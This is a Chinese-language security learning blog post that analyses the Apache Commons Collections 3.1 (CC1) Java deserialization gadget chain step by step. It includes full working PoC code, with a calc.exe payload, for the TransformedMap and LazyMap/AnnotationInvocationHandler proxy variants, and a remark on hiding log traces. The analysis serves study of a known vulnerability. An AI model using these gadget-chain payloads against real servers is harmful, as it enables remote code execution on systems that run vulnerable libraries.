前言
Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
环境
-
因为java 8u71之后已修复不可利用,所以安装了jdk7u80
-
Apache-Common-Collections-3.1
反射知识
CC链不像URLDNS简单,需要利用到反射机制
Java反射机制:是指在运行时去获取一个类的变量和方法信息。然后通过获取到的信息来创建对象,调用方法的一种机制。
我们可以通过反射命令执行的简单例子来进行理解
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
Class c1 = Class.forName("java.lang.Runtime");
c1.getMethod("exec", String.class).invoke(c1.getMethod("getRuntime").invoke(c1), "calc.exe");
}
这是能成功打开计算器的代码
我们可以将它拆解为正常的反射流程
1.首先获取Class类对象,这里使用的是Class类中的静态方法forName
- 还有常见的其他两种方法,这里不细讲
- 使用类的calss属性来获取该类对于的class对象。
- 用对象的getClass()方法,返回该对象所属类对应的Class对象
public static void main(String[] args) throws ClassNotFoundException{
Class c1 = Class.forName("java.lang.Runtime");
}
2.然后在Class类中用getConstructor获取构造方法,然后通过newInstance获取对象
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
Class c1 = Class.forName("java.lang.Runtime");
Constructor con1 = c1.getConstructor();
Object o1 = con1.newInstance();
}
到这一步就已经出现问题
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vatlf4lv-1643030725723)(http://image.liangyueliangyue.top//img202201242125349.png)]
写一个Runtime步进,Runtime的构造方法为私有的
getConstructor()方法只能获取所有公共构造方法对象的数组
这时候我们可以通过getDeclaredConstructor()方法来获取类的私有构造方法
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
Class c1 = Class.forName("java.lang.Runtime");
Constructor con1 = c1.getDeclaredConstructor();
Object o1 = con1.newInstance();
}
但是能够获取到并不意味能够通过私有方法创建对象
这里需要用到java的暴力反射
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
Class c1 = Class.forName("java.lang.Runtime");
Constructor con1 = c1.getDeclaredConstructor();
con1.setAccessible(true);
Object o1 = con1.newInstance();
}
通过setAccessible设置值为ture来取消访问检查
成功执行后继续通过getMethod()获取对象的存在方法
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
Class c1 = Class.forName("java.lang.Runtime");
Constructor con1 = c1.getDeclaredConstructor();
con1.setAccessible(true);
Object o1 = con1.newInstance();
Method m1 = c1.getMethod("exec", String.class);
}
invoke调用obj对象的成员方法
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
Class c1 = Class.forName("java.lang.Runtime");
Constructor con1 = c1.getDeclaredConstructor();
con1.setAccessible(true);
Object o1 = con1.newInstance();
Method m1 = c1.getMethod("exec", String.class);
m1.invoke(o1,"calc.exe");
}
成功弹出计算器,但是在高版本(>=jdk11)虽然能够执行但是会给出warning
最回到例子来,可以看出它根本没有调用过newInstance函数,那么它invoke的对象是怎么生成的?
c1.getMethod("getRuntime").invoke(c1)
Runtime类可以通过 getRuntime() 来获取到 Runtime 对象,而invoke 的作用是执行方法
但是它有不同的用法
- 如果这个方法是普通方法,那么第一个参数是类对象
- 如果这个方法是静态方法,那么第一个参数是类或者用null代替
而getRuntime() 是静态方法,所以它的参数是一个类(或是null)而不是类对象,所以不需要去生成类对象来进行调用
反射机制讲究的就是动态性,由于这种动态性,可以极大的增强程序的灵活性,程序不用在编译期就完成确定,在运行期仍然可以扩展。但也正因为如此才会被广泛的利用。
CC-POC复现
先用idea创建maven项目
导入cc依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
然后新建Poc.java
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Poc {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}
直接运行弹出计算器
CC-POC解析
布局
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
开始构建了一个Transformer的数组,而Transformer是一个接口,所以transformers是一个接口数组
数组的内容是通过实现了Transformer接口的类来创建的对象
首先看ConstantTransformer类
使用构造方法传入参数(Runtime类对象)
再来看InvokerTransformer类,从注释中就能知道这个类是拿来生成新对象的
/**
* Transformer implementation that creates a new object instance by reflection.
*
* @since Commons Collections 3.0
* @version $Revision: 1.7 $ $Date: 2004/05/26 21:44:05 $
*
* @author Stephen Colebourne
*/
三个调用了同样的构造方法
iMethodName、iParamTypes、iArgs来自于构造方法
第一个参数是方法名,第二个参数是参数类型,第三个是参数值,将参数提取一下
"getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }
"invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }
"exec", new Class[] {String.class }, new Object[] {"calc.exe"}
再来看下面的
Transformer transformerChain = new ChainedTransformer(transformers);
创建了ChainedTransformer,传入参数为接口数组
构造函数也是将接口数组赋值给iTransformers变量
创建HashMap并传入一个键值对
Map innerMap = new HashMap();
innerMap.put("value", "value");
再看下面
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
通过TransformedMap类的decorate方法得到了一个TransformedMap对象outerMap
分析一下TransformedMap
存在构造方法但是是protected保护的,所以需要通过decorate提供一个实例化对象。
keyTransformer传值为null,valueTransformer为transformerChain对象
然后通过一系列方法获取到outerMap的第一个键值对并转换成Map.Entry形式赋值给onlyElement
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
然后就到了关键的漏洞触发点,打上断点开始调试
①步入调用了parent的checkSetValue方法
②而这里因为onlyElement是outerMap(TransformedMap对象)entrySet获得的,所以parent是TransformedMap,从而调用了TransformedMap类中的checkSetValue方法
③checkSetValue又调用了valueTransformer类中的transform方法,参数为新设置的value值对象
那么这个valueTransformer是什么类?
crtl点击发现是一个常量
那么肯定是构造时就定义好的,找到构造方法确认参数为第三个
而我们又是通过decorate方法调用构造方法
POC中调用decorate时传入的第三个值正是transformerChain对象(由ChainedTransformer得到)
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
所以这里调用的是ChainedTransformer类中的transform方法,再步入
④用for循环遍历了iTransformers,将里面的对象都调用transform方法依次返回
而iTransformers值在上面对象的创建时就已经知道是接口数组
⑤再步入,首先调用的是ConstantTransformer类的transform方法
在上面创建时也讲到了,直接是我们提供的Runtime.class(类名)
⑥步入到下一次循环
这时候object已经通过ConstantTransformer类的transform方法变成了我们提供的Runtime类
然后再三次调用InvokerTransformer类的transform方法,这个方法中会尝试反射
通过getClass()获取类,getMethod()获取方法,invoke反射调用方法(这些都在前面基础讲过)
这里的iMethodName,iParamTypes,iArgs全部在创建时定义(可控)
第一次反射
"getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }
此时的input为Runtime类对象
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S7UC2b4E-1643030725743)(http://image.liangyueliangyue.top//img202201242125370.png)]
调用input.getClass() => Runtime.class.getClass()得到了java.lang.Class类,获取我们传入的getMethod方法
调用了Runtime类对象中getMethod的方法,参数为"getRuntime", new Class[0]
那么最终返回的就是Runtime类中的getRuntime方法了
第二次反射
"invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }
此时的input为getRuntime方法对象
调用input.getClass() 得到了java.lang.reflect.Method类,获取我们传入的invoke方法
调用了getRuntime方法对象中invoke的方法,参数为null, new Object[0]
那么最终返回的就是getRuntime方法对象执行invoke参数为null
上面讲到过当invoke调用静态方法时需要令第一个参数为类或者null,所以这里只是为了调用静态方法getRuntime
那么最终返回的就是Runtime对象了
第三次反射
"exec", new Class[] {String.class }, new Object[] {"calc.exe"}
此时的input为Runtime对象
调用input.getClass() 得到了java.lang.Runtime类,获取我们传入的exec方法
调用了Runtime对象中exec的方法,参数为calc.exe,成功弹出计算器
到这里就完成了这个POC的分析
疑问
为什么不直接利用反射命令执行,而是构造一个transformers 数组通过Runtime.class去不断反射执行
因为Java 要能完成序列化与反序列化要求这个被序列化的类有继承Serializable,而Runtime类没有继承,所以直接使用就会报错。
而
Runtime.class
是属于java.lang.Class
,java.lang.Class
是实现了java.io.Serializable
接⼝的。可以被序列化。
利用链
最后的调用栈简化
Map.Entry->setValue()
TransformedMap->checkSetValue()
ChainedTransformer->transform()
InvokerTransformer->transform()
yso的CC1分析
在实际运用中需要将代码转换为序列化流然后再让服务器成功readObject读取我们序列化的流文件完成反序列化最终命令执行。
所以根据yso的CC1链去学习实际运用的特殊情况以及利用方法
首先是利用链和环境需求
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
可以看到后面的利用是一样的,只是前面多了很多步,反着推
首先看LazyMap类的get方法,这里他取代了TransformedMap,那么它肯定有办法去调用指定类的transform方法
来到get函数,首先判断是否该Map是否已经存在key,没有的话就调用factory.transform()
进行处理
而factory又是常量,那么肯定在构造函数中定义
而构造函数是protected,提供了decorate方法来创建对象
这里第二个decorate方法是符合我们的要求的(factory是实现Transformer接口的类)
那么万事俱备只欠东风,我们要去寻找一个类,在对象进行反序列化时会调用我们精心构造对象的get(Object)
方法。
而sun.reflect.annotation.AnnotationInvocationHandler
的 invoke()
方法满足条件
在invoke()
中,判断var2方法的形参个数为0且var2
的方法名(var=var2.getName())不为toString
,hashCode
或者annotationType
则会触发this.memberValues.get()
在找到this.memberValues
的赋值点
构造方法中的var2构造为LazyMap即可触发漏洞,那么接下来找谁能够调用触发AnnotationInvocationHandler.invoke()
也就是入口处的AnnotationInvocationHandler类的重写后的readObject
readObject中调用了this.memberValues的entrySet方法。跟invoke方法有什么关系?
这里用到了java的动态代理知识点
简单的说就是执行代理对象任何方法都会先触发代理对象对应handler的invoke方法。
如果这里的memberValues是个代理对象,那么就会调用memberValues对应handler的invoke方法
所以我们设置一个代理对象,然后将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)。
动态代理执行invoke
①在调用readObject反序列化处理时,会触发AnnotationInvocationHandler重写后的readObject方法
②然后调用了this.memberValues.entrySet
,而this.memberValues
是之前构造好的代理对象,所以调用其方法时,会去调用其创建代理时设置的handler的invoke方法。
③而这个代理对象设置的handler为这个InvocationHandler这个类产生的对象,接着会调用他的invoke方法
④InvocationHandler的invoke方法中调用了this.memberValues#get
,此时的this.memberValues
为之前设置好的lazymap,所以这里调用的是lazymap#get
然后就是之前分析的调用链,就这样自己本地实现一下简单的序列化反序列化
本地实现
public static void main(String[] args) throws Exception {
//布局
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(java.lang.Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc.exe"}})};
//利用ChainedTransformer链接
ChainedTransformer TransformerChain = new ChainedTransformer(transformers);
//LazyMap中get存在transform入口
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, TransformerChain);
//因为sun.reflect.annotation.AnnotationInvocationHandler的构造方法不是public, 要通过反射构造出来。
//赋值this.memberValues为lazyMap(也就是代理对象为lazyMap),且var1满足条件才能触发触发this.memberValues.get()
Constructor con1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
con1.setAccessible(true);
InvocationHandler ih = (InvocationHandler) con1.newInstance(Override.class, lazyMap);
//最后一步就是创建动态代理,传入InvocationHandler,反序列化时会调用memberValues的entrySet方法,会首先触发InvocationHandler的invoke方法
Object proxy = Proxy.newProxyInstance(ih.getClass().getClassLoader(), new Class[]{Map.class}, ih);
Constructor con2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
con2.setAccessible(true);
Object ih2 = con2.newInstance(Override.class, proxy);
//序列化和反序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exp"));
oos.writeObject(ih2);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream("exp");
ObjectInputStream ois = new ObjectInputStream(fis);
// readObject触发
Object newObj = ois.readObject();
ois.close();
}
还有一个点没有说,就是var1满足的条件
来到AnnotationInvocationHandler类的构造方法,第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数。
存在if判断,不满足不会赋值且报错
isAnnotation()方法用于检查此Class对象是否表示注释类型。
getInterfaces().length==1 => 只实现了一个接口
getInterfaces()[0]==Annotation.class => 实现Annotation接口
因为继承了Annotation所以后面两个自然满足,只需要找到java自带的注解类即可
-
Deprecated.class
-
Override.class
-
SuppressWarnings.class
yso动态代理处理
yso利用了Gadgets类来处理动态代理
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
原理是一样的,步入createMemoitizedProxy
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
在createMemoitizedProxy方法中又调用了createMemoizedInvocationHandler(map)
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
ANN_INV_HANDLER_CLASS常量
所以和自己构造是一样的①和②等价
①final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
②Constructor con1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
con1.setAccessible(true);
InvocationHandler ih = (InvocationHandler) con1.newInstance(Override.class, lazyMap);
//最后一步就是创建动态代理,传入InvocationHandler,反序列化时会调用memberValues的entrySet方法,会首先触发InvocationHandler的invoke方法
Object proxy = Proxy.newProxyInstance(ih.getClass().getClassLoader(), new Class[]{Map.class}, ih);
①final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
②Constructor con2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
con2.setAccessible(true);
Object ih2 = con2.newInstance(Override.class, proxy);
yso的其他操作
非预期命令执行
在调试自己构造的Poc时可能会遇到弹出两次计算器或者超前弹出了计算器
这是因为Idea在调试模式下会调用对象的toString方法,而我们构造了动态代理,但调用了代理对象的toString方法就会调用handler的invoke方法导致非预期的命令执行。
我们可以手动关闭调试时的调用,去掉红色框内的选项
而在yso中,为了解决这个问题,它在开始创建transformerChain常量时并没有放入执行代码
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
在动态代理套娃完成后,才将代码赋值给iTransformers常量,然后直接返回对象去序列化,就不会有非预期的命令执行了
隐藏日志特征
yso的transformers接口数组定义时,多在末尾创建了一个ConstantTransformer对象。
因为在命令执行时会返回异常信息,但是存在这个ConstantTransformer对象时的异常信息是不同的
少对象时
多对象时
所以判断可能是为了隐藏日志特征
版本限制
CC1在8u71后不能使用,我们对比下新老版本,分析一下原因
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
基于TransformedMap
第50-51行删除setValue的调用(这是一种黑名单的方式)
基于LazyMap
40-41行memberValues.entrySet()变为streamVals.entrySet()
21行streamVals 通过s.readField获得
15行删去了s.defaultReadObject
这里得到的streamVals
和通过和s.defaultReadObject
得到的对象有什么不同呢?
其实和这个并没关系,只是改变后不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap
对象
因为最后的poc是两个AnnotationInvocationHandler
的套娃,外面的AnnotaationInvocationHandler
(直接readObject的)它获得的streamVals
确实还是一个代理对象,调用streamVals
上面的方法确实会进入到invoke
,最后也确确实实会调用到里层的AnnotationInvocationHandler.invoke()
的this.memberValues.get()
。
但是,后续对Map的操作都是基于这个新的LinkedHashMap
对象,也就是里层的Ann...Handler
的memberValues
已经不是LazyMap
了,而是LinkedHashMap
了
漏洞原理
在回过头来看漏洞原理
这条链最终是利用org.apache.commons.collections.functors.InvokerTransformer
其中的 transform()
方法中的反射机制来调用java.lang.Runtime
的exec()
进行命令执行
还有一个关键点在于Java 要能完成序列化与反序列化要求这个被序列化的类有继承Serializable,而Runtime类没有继承,所以直接使用就会报错。而Runtime.class是属于java.lang.Class,java.lang.Class实现了Serializable接⼝所以可以被序列化。而ChainedTransformer中的transform方法实现了Transformer接口的类数组的遍历,依次调用其中的transform方法传递给下一个元素,成为了关键的串连线,非常巧妙。
然后不管是基于TransformedMap还是LazyMap实现的Poc,都只是因为AnnotaationInvocationHandler方法重写了readObject,然后一步步走到了transform方法的执行
后记
作为一个刚开始学java安全的新人,网络上CC链的相关分析实在是很多。但大都不是很基础,会看的一头雾水,所以不如静下心来尝试自己先找一些Demo开始一点点的分析,遇到问题要先自己思考,等到思考过后再去寻求答案才是正确的选择。最后,小白入门,如果有错误希望师傅能够及时指出。
参考资料
P牛-Java安全漫谈
https://last-las.github.io/2020/11/05/yso-CommonsCollections/
https://www.cnblogs.com/9eek/p/15050035.html
https://paper.seebug.org/1242/#commons-collections